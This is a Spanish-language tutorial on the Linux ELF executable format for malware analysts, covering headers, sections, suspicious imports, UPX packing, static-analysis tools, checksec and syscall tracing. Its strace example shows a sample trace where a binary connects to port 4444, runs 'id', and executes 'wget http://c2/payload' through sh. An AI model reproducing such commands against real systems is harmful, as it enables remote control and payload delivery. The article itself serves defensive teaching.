ELF 101: Formato de Ejecutables Linux para Analistas de Malware
Guía técnica del formato ELF (Executable and Linkable Format) desde la perspectiva del análisis de malware. Headers, secciones, segments, symbols, dynamic linking, y los indicadores que revelan si un binario ELF es malicioso.
El equivalente Linux del PE: por qué necesitas conocerlo
Si vienes del análisis de malware en Windows, el formato PE te resulta familiar. En Linux, el equivalente es ELF (Executable and Linkable Format). Con el crecimiento del malware Linux (ransomware ESXi, botnets IoT, cryptominers en cloud), los analistas necesitan dominar ELF con la misma soltura que PE.
ELF es más simple que PE en varios aspectos, pero tiene sus propias particularidades. Este artículo cubre la estructura del formato, las herramientas de análisis y los indicadores que distinguen un binario ELF legítimo de uno malicioso.
Estructura del formato ELF
Vista general
Offset 0x0000 ┌─────────────────────────┐
│ ELF Header │ 52/64 bytes (32/64-bit)
│ Magic: 7f 45 4c 46 │ "\x7fELF"
├─────────────────────────┤
│ Program Header Table │ Array de segments (para carga)
│ (PHT) │ Usado por el loader del kernel
├─────────────────────────┤
│ │
│ Sections │ .text, .data, .rodata, .bss,
│ (contenido real) │ .dynsym, .dynstr, .got, .plt,
│ │ .symtab, .strtab, .debug_*
│ │
├─────────────────────────┤
│ Section Header Table │ Array de secciones (para linking)
│ (SHT) │ Usado por linker y debugger
└─────────────────────────┘
Diferencia clave con PE: ELF tiene dos vistas del mismo contenido:
- Segments (Program Headers): cómo el kernel carga el binario en memoria
- Sections (Section Headers): cómo el linker organiza el contenido
Un ejecutable necesita segments para ejecutarse pero no necesita sections. El malware puede eliminar la Section Header Table (stripping) para dificultar el análisis, y el binario sigue funcionando porque el kernel solo usa los Program Headers.
ELF Header
Campos clave
| Campo | Offset | Tamaño | Significado para el analista |
|---|---|---|---|
e_ident[EI_MAG] | 0x00 | 4 bytes | Magic: \x7fELF. Identifica como ELF |
e_ident[EI_CLASS] | 0x04 | 1 byte | 1=32-bit, 2=64-bit |
e_ident[EI_DATA] | 0x05 | 1 byte | 1=Little Endian, 2=Big Endian |
e_type | 0x10 | 2 bytes | 2=Executable, 3=Shared Object (.so), 4=Core dump |
e_machine | 0x12 | 2 bytes | Arquitectura: 0x03=x86, 0x3E=x86-64, 0x28=ARM, 0xB7=AArch64, 0x08=MIPS |
e_entry | 0x18 | 4/8 bytes | Entry point (dirección donde comienza la ejecución) |
e_phoff | 0x1C/0x20 | 4/8 bytes | Offset del Program Header Table |
e_shoff | 0x20/0x28 | 4/8 bytes | Offset del Section Header Table (0 si stripped) |
e_phnum | 0x2C/0x38 | 2 bytes | Número de Program Headers |
e_shnum | 0x30/0x3C | 2 bytes | Número de Section Headers (0 si stripped) |
Comando readelf
$ readelf -h malware_sample
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Entry point address: 0x400a30
Start of program headers: 64 (bytes into file)
Start of section headers: 0 (bytes into file) ← STRIPPED!
Number of section headers: 0 ← STRIPPED!
Indicadores de malware en el ELF Header
| Indicador | Significado |
|---|---|
e_shoff = 0, e_shnum = 0 | Section headers eliminados (stripped). Común en malware para dificultar análisis |
e_machine = ARM/MIPS | Posible malware IoT (Mirai y variantes) |
e_type = ET_DYN (shared object) | Los ejecutables PIE (Position Independent) modernos usan ET_DYN, no es sospechoso per se |
| Entry point en dirección inusual | Posible packing o manipulación |
Secciones importantes para análisis de malware
| Sección | Contenido | Relevancia |
|---|---|---|
.text | Código ejecutable | Código principal del malware |
.rodata | Datos de solo lectura (strings, constantes) | Strings del malware (C2 URLs, mensajes) |
.data | Variables globales inicializadas | Configuración, claves de cifrado |
.bss | Variables no inicializadas | Buffers, estructuras en runtime |
.dynsym | Tabla de símbolos dinámicos | Funciones importadas/exportadas (equivalente a IAT/EAT) |
.dynstr | Strings de símbolos dinámicos | Nombres de funciones importadas |
.got | Global Offset Table | Punteros a funciones de librerías (target de hooking) |
.plt | Procedure Linkage Table | Stubs de llamada a funciones dinámicas |
.init / .fini | Constructores/destructores | Código que se ejecuta antes/después de main() |
.init_array / .fini_array | Arrays de funciones init/fini | El malware puede añadir funciones aquí |
.note.gnu.build-id | Build ID único | Útil para correlacionar muestras |
.comment | Información del compilador | Versión de GCC/Clang, puede revelar entorno de desarrollo |
.symtab | Tabla de símbolos completa | Si existe, nombres de todas las funciones internas |
.strtab | Strings de la symtab | Nombres de funciones internas |
.dynsym: el equivalente de la Import Table
La sección .dynsym contiene los símbolos que el binario importa de bibliotecas compartidas y los que exporta. Es el equivalente funcional de la Import Table del PE.
$ readelf -s --dyn-syms malware_sample | head -20
Symbol table '.dynsym' contains 45 entries:
Num: Value Size Type Bind Vis Ndx Name
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND connect@GLIBC_2.2.5
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND socket@GLIBC_2.2.5
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND recv@GLIBC_2.2.5
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fork@GLIBC_2.2.5
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND execve@GLIBC_2.2.5
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND system@GLIBC_2.2.5
UND (Undefined) = importada de una librería externa (equivalente a una import en PE).
Funciones importadas que indican malware
| Función | Librería | Comportamiento indicado |
|---|---|---|
connect, socket, send, recv | libc | Comunicación de red (C2, exfiltración) |
fork, daemon | libc | Daemonización (persistencia en background) |
execve, system, popen | libc | Ejecución de comandos (shell) |
ptrace | libc | Anti-debugging (PTRACE_TRACEME) |
dlopen, dlsym | libdl | Carga dinámica de librerías (equivalente a LoadLibrary) |
opendir, readdir | libc | Enumeración de archivos (ransomware, worm) |
chmod, chown | libc | Modificación de permisos |
unlink, remove | libc | Eliminación de archivos (cleanup, ransomware) |
init_module, finit_module | libc | Carga de kernel module (rootkit) |
mprotect | libc | Cambio de permisos de memoria (RWX, shellcode) |
mmap con PROT_EXEC | libc | Mapeo de memoria ejecutable |
inotify_init, inotify_add_watch | libc | Monitorización de archivos (espionaje, trigger) |
Static vs Dynamic linking
| Aspecto | Static linking | Dynamic linking |
|---|---|---|
| Dependencias | Ninguna (todo incluido en el binario) | Requiere .so en el sistema |
| Tamaño | Grande (1-10+ MB) | Pequeño (10-100 KB típico) |
| Portabilidad | Alta (funciona sin librerías) | Depende del sistema |
| Análisis | Más difícil (todo el código en el binario) | Más fácil (imports visibles) |
| Prevalencia en malware | Alta (especialmente IoT, Go, Rust) | Media |
| Identificación | file: "statically linked" | file: "dynamically linked" |
| Símbolos | readelf -s puede mostrar funciones internas | readelf --dyn-syms muestra imports |
Malware estáticamente linkado es autónomo: no depende de librerías del sistema para funcionar. Es preferido para:
- Malware IoT (los dispositivos pueden tener librerías diferentes)
- Malware Go/Rust (compilación estática por defecto)
- Implants que necesitan máxima portabilidad entre distribuciones Linux
Packing en ELF
UPX
UPX es el packer más común en malware Linux, especialmente en botnets IoT:
$ file mirai_sample
mirai_sample: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
$ strings mirai_sample | grep UPX
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
# Desempaquetar
$ upx -d mirai_sample -o mirai_unpacked
Indicadores de packing
| Indicador | Herramienta |
|---|---|
| Strings "UPX!" en el binario | strings, DIE |
| Section headers ausentes | readelf -h |
| Alta entropía en secciones | binwalk -E |
| Pocas o ninguna función importada | readelf --dyn-syms |
| Tamaño pequeño para un binario estático | file + ls -la |
Herramientas de análisis estático de ELF
| Herramienta | Uso |
|---|---|
| file | Identificar tipo, arquitectura, linking |
| readelf | Headers, secciones, segments, símbolos |
| objdump | Disassembly, secciones |
| strings / FLOSS | Extracción de strings |
| Detect It Easy (DIE) | Detección de compilador, packer |
| CAPA | Detección automática de capacidades |
| Ghidra | Decompilador (soporte ELF excelente) |
| IDA Pro | Decompilador comercial |
| radare2 / rizin | Framework de RE open source |
| binwalk | Análisis de entropía, extracción de contenido embebido |
| checksec | Verificar mitigaciones (RELRO, NX, PIE, canaries) |
Workflow de análisis estático
# 1. Identificar
file sample
sha256sum sample
# 2. Mitigaciones
checksec --file=sample
# 3. Strings
strings -a sample | sort -u > strings.txt
# Buscar: IPs, URLs, paths, comandos, mensajes de error
# 4. Headers y secciones
readelf -h sample # ELF header
readelf -S sample # Secciones
readelf -l sample # Segments (program headers)
# 5. Simbolos e imports
readelf --dyn-syms sample # Importaciones dinamicas
readelf -s sample # Tabla de simbolos completa (si existe)
# 6. Entropia
binwalk -E sample # Grafico de entropia
# 7. Packer detection
upx -t sample 2>/dev/null # Test si es UPX
# 8. CAPA (si soporta la arquitectura)
capa sample
# 9. Disassembly / Decompilacion
# Ghidra, IDA Pro, o radare2
Binarios Go y Rust: particularidades
Go
Los binarios Go compilados son comunes en malware Linux moderno (Sliver C2, botnets como Kaiji):
- Tamaño grande: 5-20 MB mínimo (runtime incluido)
- Statically linked por defecto
- Strings legibles: Go mantiene información de tipos y paquetes
- GOPCLNTAB: tabla que mapea program counters a nombres de funciones (invaluable para análisis)
- Herramientas: GoReSym (recupera símbolos), go-unpack, GoGhidra plugin
Rust
Similar a Go en tamaño y compilación estática:
- Tamaño: 1-10 MB
- Panic messages: strings de error de Rust presentes si no se stripean
- Mangling de nombres: nombres de funciones con hash (dificulta lectura)
- Herramientas: soporte en Ghidra mejorando, Rust demangler
Checksec: mitigaciones de seguridad
$ checksec --file=sample
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY
Partial RELRO No canary NX enabled No PIE No RPATH No RUNPATH Stripped No
| Mitigación | Descripción | Estado sospechoso |
|---|---|---|
| RELRO | Relocations Read-Only (protege GOT) | No RELRO = compilación antigua o deliberada |
| Stack Canary | Protección contra buffer overflow en stack | "No canary" = no usa protecciones modernas |
| NX | No-Execute (DEP equivalente) | "NX disabled" = permite ejecución desde datos |
| PIE | Position Independent Executable (ASLR) | "No PIE" = dirección base fija |
| Stripped | Sin tabla de símbolos | "Stripped" = común en malware |
| FORTIFY | Funciones seguras (strcpy_chk, etc.) | "No FORTIFY" = no usa hardening |
Un binario sin mitigaciones (No RELRO, No Canary, NX disabled, No PIE, Stripped, No FORTIFY) es sospechoso: fue compilado sin protecciones estándar, lo cual es normal en malware pero inusual en software legítimo moderno.
Análisis dinámico: strace y ltrace
strace (syscalls)
# Trazar syscalls del malware
strace -f -o trace.txt ./sample
# Ejemplo de output relevante:
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.1.100")}, 16) = 0
write(3, "id\n", 3)
read(3, "uid=0(root) gid=0(root)...", 1024)
fork()
execve("/bin/sh", ["sh", "-c", "wget http://c2/payload"], ...)
ltrace (library calls)
# Trazar llamadas a librerias
ltrace -f -o ltrace.txt ./sample
Mapeo MITRE ATT&CK (Linux)
| Técnica | ID | Contexto Linux |
|---|---|---|
| Command and Scripting Interpreter: Unix Shell | T1059.004 | Shell scripts, bash |
| Shared Modules | T1129 | Carga dinámica con dlopen/dlsym |
| File and Directory Discovery | T1083 | opendir/readdir para enumerar |
| Indicator Removal: File Deletion | T1070.004 | unlink para limpiar artefactos |
| Boot or Logon Initialization Scripts | T1037 | rc.local, systemd units |
| Rootkit | T1014 | LKM rootkits, eBPF rootkits |
Fuentes y referencias
- Tool Interface Standard. "ELF Specification Version 1.2." TIS Committee.
- Andriesse, D. "Practical Binary Analysis." No Starch Press, 2018.
- O'Neill, R. "Learning Linux Binary Analysis." Packt Publishing, 2016.
- radare2. "radare2 reverse engineering framework." https://github.com/radareorg/radare2
- checksec. "checksec.sh." https://github.com/slimm609/checksec.sh
- Mandiant. "CAPA: ELF Support." https://github.com/mandiant/capa
- MITRE ATT&CK. "Linux Matrix." https://attack.mitre.org/matrices/enterprise/linux/
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Análisis de Malware en Linux: Herramientas Esenciales y Metodología
Rootkits Linux: LKM, eBPF y Técnicas Modernas de Ocultación
Anatomía de un PE: Entendiendo los Ejecutables de Windows para Análisis de Malware
Cobertura ATT&CK: DeTT&CT, Gap Analysis y Priorización de Detecciones
Construir un Programa de Detection Engineering: De Cero a Producción
De IOC a Detección: Workflow Completo para Operacionalizar Inteligencia
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.